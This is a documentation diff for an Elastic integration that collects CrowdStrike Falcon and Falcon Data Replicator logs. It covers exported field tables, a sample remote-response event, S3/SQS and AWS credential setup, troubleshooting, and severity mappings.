+| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
+| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword |
+| error.message | Error message. | match_only_text |
+| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
+| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
+| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword |
+| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
+| event.dataset | Event dataset | constant_keyword |
+| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date |
+| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred.  It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date |
+| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
+| event.module | Event module | constant_keyword |
+| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
+| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
+| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long |
+| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date |
+| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
+| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword |
+| file.hash.md5 | MD5 hash. | keyword |
+| file.hash.sha1 | SHA1 hash. | keyword |
+| file.hash.sha256 | SHA256 hash. | keyword |
+| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
+| file.path.text | Multi-field of `file.path`. | match_only_text |
+| host.containerized | If the host is a container. | boolean |
+| host.os.build | OS build information. | keyword |
+| host.os.codename | OS codename, if any. | keyword |
+| input.type | Type of Filebeat input. | keyword |
+| log.flags | Flags for the log file. | keyword |
+| log.offset | Offset of the entry in the log file. | long |
+| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text |
+| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
+| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword |
+| observer.product | The product name of the observer. | keyword |
+| observer.vendor | Vendor name of the observer. | keyword |
+| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
+| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
+| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
+| process.end | The time the process ended. | date |
+| process.executable | Absolute path to the process executable. | keyword |
+| process.executable.text | Multi-field of `process.executable`. | match_only_text |
+| process.name | Process name. Sometimes called program name or similar. | keyword |
+| process.name.text | Multi-field of `process.name`. | match_only_text |
+| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
+| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
+| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text |
+| process.parent.executable | Absolute path to the process executable. | keyword |
+| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text |
+| process.parent.pid | Process id. | long |
+| process.pid | Process id. | long |
+| process.start | The time the process started. | date |
+| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
+| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
+| related.ip | All of the IPs seen on your event. | ip |
+| related.user | All the user names or other user identifiers seen on the event. | keyword |
+| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword |
+| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword |
+| rule.description | The description of the rule generating the event. | keyword |
+| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword |
+| rule.name | The name of the rule or signature generating the event. | keyword |
+| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword |
+| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword |
+| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| source.as.organization.name | Organization name. | keyword |
+| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
+| source.geo.city_name | City name. | keyword |
+| source.geo.continent_name | Name of the continent. | keyword |
+| source.geo.country_iso_code | Country ISO code. | keyword |
+| source.geo.country_name | Country name. | keyword |
+| source.geo.location | Longitude and latitude. | geo_point |
+| source.geo.region_iso_code | Region ISO code. | keyword |
+| source.geo.region_name | Region name. | keyword |
+| source.ip | IP address of the source (IPv4 or IPv6). | ip |
+| source.port | Port of the source. | long |
+| tags | List of keywords used to tag each event. | keyword |
+| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
+| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
+| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword |
+| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
+| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
+| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text |
+| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
+| user.email | User email address. | keyword |
+| user.id | Unique identifier of the user. | keyword |
+| user.name | Short name or login of the user. | keyword |
+| user.name.text | Multi-field of `user.name`. | match_only_text |
+
+
+An example event for `falcon` looks as following:
+
+```json
+{
+    "@timestamp": "2023-11-02T13:41:34.000Z",
+    "agent": {
+        "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4",
+        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
+        "name": "elastic-agent-93422",
+        "type": "filebeat",
+        "version": "8.18.1"
+    },
+    "crowdstrike": {
+        "event": {
+            "AgentIdString": "fffffffff33333",
+            "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a"
+        },
+        "metadata": {
+            "customerIDString": "abcabcabc22221",
+            "eventType": "RemoteResponseSessionStartEvent",
+            "offset": 1,
+            "version": "1.0"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.falcon",
+        "namespace": "99576",
+        "type": "logs"
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
+        "snapshot": false,
+        "version": "8.18.1"
+    },
+    "event": {
+        "action": [
+            "remote_response_session_start_event"
+        ],
+        "agent_id_status": "verified",
+        "category": [
+            "network",
+            "session"
+        ],
+        "created": "2023-11-02T13:41:34.000Z",
+        "dataset": "crowdstrike.falcon",
+        "ingested": "2025-05-30T08:29:21Z",
+        "kind": "event",
+        "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}",
+        "start": "2023-11-02T13:41:34.000Z",
+        "type": [
+            "start"
+        ]
+    },
+    "host": {
+        "name": "UKCHUDL00206"
+    },
+    "input": {
+        "type": "streaming"
+    },
+    "message": "Remote response session started.",
+    "observer": {
+        "product": "Falcon",
+        "vendor": "Crowdstrike"
+    },
+    "related": {
+        "hosts": [
+            "UKCHUDL00206"
+        ],
+        "user": [
+            "admin.rose",
+            "admin.rose@example.com"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "forwarded",
+        "crowdstrike-falcon"
+    ],
+    "user": {
+        "domain": "example.com",
+        "email": "admin.rose@example.com",
+        "name": "admin.rose"
+    }
+}
+```
+
+### FDR
+
+The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
+managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3.
+
+This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed
+SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket
+and the integration can read from there.
+
+In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic
+Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time.
+
+#### Use with CrowdStrike managed S3/SQS
+
+This is the simplest way to setup the integration, and also the default.
+
+You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR.
+
+#### Use with FDR tool and data replicated to a self-managed S3 bucket
+
+This option can be used if you want to archive the raw CrowdStrike data.
+
+You need to follow the steps below:
+
+- Create a S3 bucket to receive the logs.
+- Create a SQS queue.
+- Configure your S3 bucket to send object created notifications to your SQS queue.
+- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket.
+- Configure the integration to read from your self-managed SQS topic.
+
+>  NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files.
+
+#### Configuration for the S3 input
+
+AWS credentials are required for running this integration if you want to use the S3 input.
+
+##### Configuration parameters
+* `access_key_id`: first part of access key.
+* `secret_access_key`: second part of access key.
+* `session_token`: required when using temporary security credentials.
+* `credential_profile_name`: profile name in shared credentials file.
+* `shared_credential_file`: directory of the shared credentials file.
+* `endpoint`: URL of the entry point for an AWS web service.
+* `role_arn`: AWS IAM Role to assume.
+
+##### Credential Types
+There are three types of AWS credentials can be used:
+
+- access keys,
+- temporary security credentials, and
+- IAM role ARN.
+
+##### Access keys
+
+`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys.
+They are long-term credentials for an IAM user, or the AWS account root user.
+Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys)
+for more details.
+
+##### Temporary security credentials
+
+Temporary security credentials has a limited lifetime and consists of an
+access key ID, a secret access key, and a security token which typically returned
+from `GetSessionToken`.
+
+MFA-enabled IAM users would need to submit an MFA code
+while calling `GetSessionToken`. `default_region` identifies the AWS Region
+whose servers you want to send your first API request to by default.
+
+This is typically the Region closest to you, but it can be any Region. Please see
+[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+for more details.
+
+`sts get-session-token` AWS CLI can be used to generate temporary credentials.
+For example. with MFA-enabled:
+```js
+aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456
+```
+
+Because temporary security credentials are short term, after they expire, the
+user needs to generate new ones and manually update the package configuration in
+order to continue collecting `aws` metrics.
+
+This will cause data loss if the configuration is not updated with new credentials before the old ones expire.
+
+##### IAM role ARN
+
+An IAM role is an IAM identity that you can create in your account that has
+specific permissions that determine what the identity can and cannot do in AWS.
+
+A role does not have standard long-term credentials such as a password or access
+keys associated with it. Instead, when you assume a role, it provides you with
+temporary security credentials for your role session.
+IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate
+temporary credentials.
+
+Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details.
+
+##### Supported Formats
+1. Use access keys: Access keys include `access_key_id`, `secret_access_key`
+and/or `session_token`.
+2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume
+    for generating temporary credentials.
+    If `role_arn` is given, the package will check if access keys are given.
+    If not, the package will check for credential profile name.
+    If neither is given, default credential profile will be used.
+
+  Please make sure credentials are given under either a credential profile or
+  access keys.
+3. Use `credential_profile_name` and/or `shared_credential_file`:
+    If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then
+    the package will check for `credential_profile_name`.
+    If you use different credentials for different tools or applications, you can use profiles to
+    configure multiple access keys in the same configuration file.
+    If there is no `credential_profile_name` given, the default profile will be used.
+    `shared_credential_file` is optional to specify the directory of your shared
+    credentials file.
+    If it's empty, the default directory will be used.
+    In Windows, shared credentials file is at `C:\Users\<yourUserName>\.aws\credentials`.
+    For Linux, macOS or Unix, the file locates at `~/.aws/credentials`.
+    Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html)
+    for more details.
+
+#### Troubleshooting
+
+##### Vulnerability API returns 404 Not found
+
+This error may occur for the following reasons:
+1. Too many records in the response.
+2. The pagination token has expired. Tokens expire 120 seconds after a call is made.
+
+To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call.
+
+##### Duplicate Events
+
+The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates.
+
+If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`.
+For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`.
+
+#### Alert severity mapping
+
+The values used in `event.severity` are consistent with Elastic Detection Rules.
+
+| Severity Name              | `event.severity` |
+|----------------------------|:----------------:|
+| Low, Info or Informational | 21               |
+| Medium                     | 47               |
+| High                       | 73               |
+| Critical                   | 99               |
+
+If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table.
+
+| Crowdstrike `severity` | Severity Name |
+|------------------------|:-------------:|
+| 0 - 19                 | info          |
+| 20 - 39                | low           |
+| 40 - 59                | medium        |
+| 60 - 79                | high          |
+| 80 - 100               | critical      |
+
+#### Example
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword |
+| aws.s3.bucket.name | The AWS S3 bucket name. | keyword |
+| aws.s3.object.key | The AWS S3 Object key. | keyword |
+| crowdstrike.AccessType |  | keyword |
+| crowdstrike.AccountDomain |  | match_only_text |
+| crowdstrike.AccountObjectGuid |  | match_only_text |
+| crowdstrike.AccountObjectSid |  | match_only_text |
+| crowdstrike.AccountType |  | keyword |
+| crowdstrike.ActiveDirectoryAuthenticationMethod |  | keyword |
+| crowdstrike.ActivityId |  | keyword |
+| crowdstrike.AddressFamily |  | keyword |
+| crowdstrike.AdminStatus |  | keyword |
+| crowdstrike.AgentIdString |  | keyword |
+| crowdstrike.AgentLoadFlags |  | keyword |
+| crowdstrike.AgentLocalTime |  | date |
+| crowdstrike.AgentTimeOffset |  | float |
+| crowdstrike.AgentVersion |  | keyword |
+| crowdstrike.AggregateId |  | keyword |
+| crowdstrike.AllocateVirtualMemoryCount |  | long |
+| crowdstrike.AllowlistingFilterId |  | keyword |
+| crowdstrike.AnodeIndicators |  | nested |
+| crowdstrike.AntiTamperStateFlag |  | keyword |
+| crowdstrike.ApiReturnValue |  | keyword |
+| crowdstrike.ApplicationName |  | match_only_text |
+| crowdstrike.ArchiveFileWrittenCount |  | long |
+| crowdstrike.AsepClass |  | keyword |
+| crowdstrike.AsepFlags |  | keyword |
+| crowdstrike.AsepIndex |  | keyword |
+| crowdstrike.AsepValueType |  | keyword |
+| crowdstrike.AsepWrittenCount |  | long |
+| crowdstrike.AssemblyFlags |  | keyword |
+| crowdstrike.AssemblyId |  | keyword |
+| crowdstrike.AssemblyName |  | keyword |
+| crowdstrike.AssociatedFile |  | keyword |
+| crowdstrike.Attacks.Tactic |  | keyword |
+| crowdstrike.Attacks.Technique |  | keyword |
+| crowdstrike.AttemptNumber |  | long |
+| crowdstrike.AuthenticationActivityId |  | keyword |
+| crowdstrike.AuthenticationId |  | keyword |
+| crowdstrike.AuthenticationPackage |  | keyword |
+| crowdstrike.AuthenticationUuid |  | keyword |
+| crowdstrike.AuthenticationUuidAsString |  | keyword |
+| crowdstrike.AuthenticodeHashData |  | keyword |
+| crowdstrike.AuthenticodeHashDataSHA256 |  | keyword |
+| crowdstrike.BaseReachableTime |  | keyword |
+| crowdstrike.BatchDataNumber |  | keyword |
+| crowdstrike.BatchDataTotal |  | keyword |
+| crowdstrike.BatchTimestamp |  | date |
+| crowdstrike.BinaryExecutableWrittenCount |  | long |
+| crowdstrike.BiosChanged |  | match_only_text |
+| crowdstrike.BiosManufacturer |  | keyword |
+| crowdstrike.BiosReleaseDate |  | date |
+| crowdstrike.BiosVersion |  | keyword |
+| crowdstrike.BluetoothClassOfDeviceValue |  | match_only_text |
+| crowdstrike.BluetoothDeviceAppearanceValue |  | match_only_text |
+| crowdstrike.BluetoothDeviceModelNumber |  | match_only_text |
+| crowdstrike.BluetoothDeviceName |  | match_only_text |
+| crowdstrike.BluetoothServiceName_1 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_3 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_4 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_5 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_6 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_7 |  | match_only_text |
+| crowdstrike.BluetoothServiceName_8 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuidArray |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_1 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_2 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_3 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_4 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_5 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_6 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_7 |  | match_only_text |
+| crowdstrike.BluetoothServiceUuid_8 |  | match_only_text |
+| crowdstrike.BluetoothVendorIdSource |  | match_only_text |
+| crowdstrike.BootArgs |  | keyword |
+| crowdstrike.BootTimeFunctionalityLevel |  | keyword |
+| crowdstrike.BoundedCount |  | long |
+| crowdstrike.BoundingLimitCount |  | long |
+| crowdstrike.BoundingLimitDuration |  | keyword |
+| crowdstrike.BrowserExtensionId |  | keyword |
+| crowdstrike.BrowserExtensionInstallMethod |  | keyword |
+| crowdstrike.BrowserExtensionStatusEnabled |  | keyword |
+| crowdstrike.BrowserFileHash |  | keyword |
+| crowdstrike.BrowserFilePath |  | keyword |
+| crowdstrike.BrowserName |  | keyword |
+| crowdstrike.BrowserProfileId |  | keyword |
+| crowdstrike.BrowserProfileName |  | keyword |
+| crowdstrike.BrowserVersion |  | keyword |
+| crowdstrike.BundleID |  | keyword |
+| crowdstrike.CLICreationCount |  | long |
+| crowdstrike.CNAMERecords |  | keyword |
+| crowdstrike.CallStackModuleNames |  | keyword |
+| crowdstrike.CallStackModuleNamesVersion |  | version |
+| crowdstrike.CapPrm |  | keyword |
+| crowdstrike.CertificateIssuer |  | keyword |
+| crowdstrike.CertificatePublisher |  | keyword |
+| crowdstrike.CertificateSignatureHash |  | keyword |
+| crowdstrike.CertificateSignatureHashAlgorithm |  | keyword |
+| crowdstrike.ChangeId |  | keyword |
+| crowdstrike.ChangeTime |  | date |
+| crowdstrike.ChangedPcrBitmap |  | match_only_text |
+| crowdstrike.ChannelDiffStatus |  | keyword |
+| crowdstrike.ChannelId |  | keyword |
+| crowdstrike.ChannelVersion |  | keyword |
+| crowdstrike.ChannelVersionRequired |  | keyword |
+| crowdstrike.ChasisManufacturer |  | keyword |
+| crowdstrike.ChassisType |  | keyword |
+| crowdstrike.ClientComputerName |  | keyword |
+| crowdstrike.ClientId |  | match_only_text |
+| crowdstrike.ClientProcessStartKey |  | keyword |
+| crowdstrike.CloudIndicator |  | boolean |
+| crowdstrike.CommandCount |  | match_only_text |
+| crowdstrike.CommandCountMax |  | match_only_text |
+| crowdstrike.CommandHistory |  | keyword |
+| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text |
+| crowdstrike.CompanyName |  | keyword |
+| crowdstrike.CompletionEventId |  | keyword |
+| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
+| crowdstrike.ConHostId |  | keyword |
+| crowdstrike.ConHostProcessId |  | keyword |
+| crowdstrike.ConfigBuild |  | keyword |
+| crowdstrike.ConfigIDBase |  | keyword |
+| crowdstrike.ConfigIDBuild |  | keyword |
+| crowdstrike.ConfigIDPlatform |  | keyword |
+| crowdstrike.ConfigStateData |  | text |
+| crowdstrike.ConfigStateHash |  | keyword |
+| crowdstrike.ConfigurationDescriptorName |  | match_only_text |
+| crowdstrike.ConfigurationVersion |  | keyword |
+| crowdstrike.ConnectTime |  | date |
+| crowdstrike.ConnectType |  | keyword |
+| crowdstrike.ConnectionAddressIP6 |  | match_only_text |
+| crowdstrike.ConnectionFlags |  | keyword |
+| crowdstrike.ConnectionType |  | keyword |
+| crowdstrike.ContentDiff.Exists |  | boolean |
+| crowdstrike.ContentPatternCounts |  | nested |
+| crowdstrike.ContentPatterns.ConfidenceLevel |  | long |
+| crowdstrike.ContentPatterns.ID |  | keyword |
+| crowdstrike.ContentPatterns.MatchCount |  | long |
+| crowdstrike.ContentPatterns.Name |  | keyword |
+| crowdstrike.ContentSHA256HashData |  | keyword |
+| crowdstrike.ContextBaseFileName |  | keyword |
+| crowdstrike.ContextImageFileName |  | keyword |
+| crowdstrike.ContextProcessId |  | keyword |
+| crowdstrike.ContextProcessTagsAsString |  | keyword |
+| crowdstrike.ContextTimeStamp | System local time of event creation. | date |
+| crowdstrike.CpuClockSpeed |  | keyword |
+| crowdstrike.CpuFeaturesMask |  | keyword |
+| crowdstrike.CpuProcessorName |  | keyword |
+| crowdstrike.CpuSignature |  | keyword |
+| crowdstrike.CpuVendor |  | keyword |
+| crowdstrike.CreateProcessCount |  | long |
+| crowdstrike.CreateProcessType |  | keyword |
+| crowdstrike.CurrentFunctionalityLevel |  | keyword |
+| crowdstrike.CurrentLocalIP |  | ip |
+| crowdstrike.CustomerIdString |  | keyword |
+| crowdstrike.CycleTime |  | long |
+| crowdstrike.DadState |  | keyword |
+| crowdstrike.DadTransmits |  | keyword |
+| crowdstrike.Data1 |  | keyword |
+| crowdstrike.DataDomains |  | keyword |
+| crowdstrike.DcNumAttachments |  | match_only_text |
+| crowdstrike.DcNumBlockingPolicies |  | match_only_text |
+| crowdstrike.Description |  | keyword |
+| crowdstrike.DesiredAccess |  | keyword |
+| crowdstrike.Destination |  | nested |
+| crowdstrike.Destination.Channel |  | keyword |
+| crowdstrike.DetectDescription |  | keyword |
+| crowdstrike.DetectId |  | keyword |
+| crowdstrike.DetectName |  | keyword |
+| crowdstrike.DetectionType |  | keyword |
+| crowdstrike.DeviceId |  | keyword |
+| crowdstrike.DeviceMountCounter |  | long |
+| crowdstrike.DevicePropertyClassGuid |  | match_only_text |
+| crowdstrike.DevicePropertyClassName |  | match_only_text |
+| crowdstrike.DevicePropertyLocationInformation |  | match_only_text |
+| crowdstrike.DirectionType |  | keyword |
+| crowdstrike.DirectoryCreatedCount |  | long |
+| crowdstrike.DirectoryEnumeratedCount |  | long |
+| crowdstrike.DllCharacteristics |  | keyword |
+| crowdstrike.DnsRequestCount |  | long |
+| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested |
+| crowdstrike.DnsResponseType |  | keyword |
+| crowdstrike.DocumentFileWrittenCount |  | long |
+| crowdstrike.DomainSid |  | keyword |
+| crowdstrike.DotnetModuleFlags |  | keyword |
+| crowdstrike.DotnetModuleId |  | keyword |
+| crowdstrike.DownloadPath |  | keyword |
+| crowdstrike.DownloadPort |  | long |
+| crowdstrike.DownloadServer |  | keyword |
+| crowdstrike.DriverLoadFlags |  | keyword |
+| crowdstrike.DualRequest |  | keyword |
+| crowdstrike.DylibPath |  | match_only_text |
+| crowdstrike.ELFSubType |  | keyword |
+| crowdstrike.EffectiveTransmissionClass |  | keyword |
+| crowdstrike.EfiVariableCustomModeAttributes |  | match_only_text |
+| crowdstrike.EfiVariableDbAttributes |  | match_only_text |
+| crowdstrike.EfiVariableDbSha256Hash |  | match_only_text |
+| crowdstrike.EfiVariableKekAttributes |  | match_only_text |
+| crowdstrike.EfiVariableKekSha256Hash |  | match_only_text |
+| crowdstrike.EfiVariablePkAttributes |  | match_only_text |
+| crowdstrike.EfiVariablePkSha256Hash |  | match_only_text |
+| crowdstrike.EfiVariableSecureBootAttributes |  | match_only_text |
+| crowdstrike.EfiVariableSetupMode |  | match_only_text |
+| crowdstrike.EfiVariableSetupModeAttributes |  | match_only_text |
+| crowdstrike.EfiVariableSignatureSupport |  | match_only_text |
+| crowdstrike.EfiVariableSignatureSupportAttributes |  | match_only_text |
+| crowdstrike.EgressEventId |  | keyword |
+| crowdstrike.EgressSessionId |  | keyword |
+| crowdstrike.EnabledPrivilegesBitmask |  | keyword |
+| crowdstrike.EndTime |  | date |
+| crowdstrike.Entitlements |  | keyword |
+| crowdstrike.EnvironmentVariableName |  | keyword |
+| crowdstrike.EnvironmentVariableValue |  | keyword |
+| crowdstrike.EnvironmentVariablesString |  | match_only_text |
+| crowdstrike.ErrorCode |  | keyword |
+| crowdstrike.ErrorStatus |  | keyword |
+| crowdstrike.EtwProviderType |  | keyword |
+| crowdstrike.EtwRawProcessId |  | long |
+| crowdstrike.EtwRawRpcClientProcessId |  | keyword |
+| crowdstrike.EtwRawThreadId |  | long |
+| crowdstrike.EventCorrelationId |  | keyword |
+| crowdstrike.EventOrigin |  | integer |
+| crowdstrike.EventTimestamp |  | date |
+| crowdstrike.EventType |  | keyword |
+| crowdstrike.EventUUID |  | keyword |
+| crowdstrike.ExceptionAddress |  | keyword |
+| crowdstrike.ExceptionCode |  | keyword |
+| crowdstrike.ExceptionInformation0 |  | keyword |
+| crowdstrike.ExclusionSource |  | keyword |
+| crowdstrike.ExclusionType |  | keyword |
+| crowdstrike.ExeAndServiceCount |  | long |
+| crowdstrike.ExecutableBytes |  | match_only_text |
+| crowdstrike.ExecutableDeletedCount |  | long |
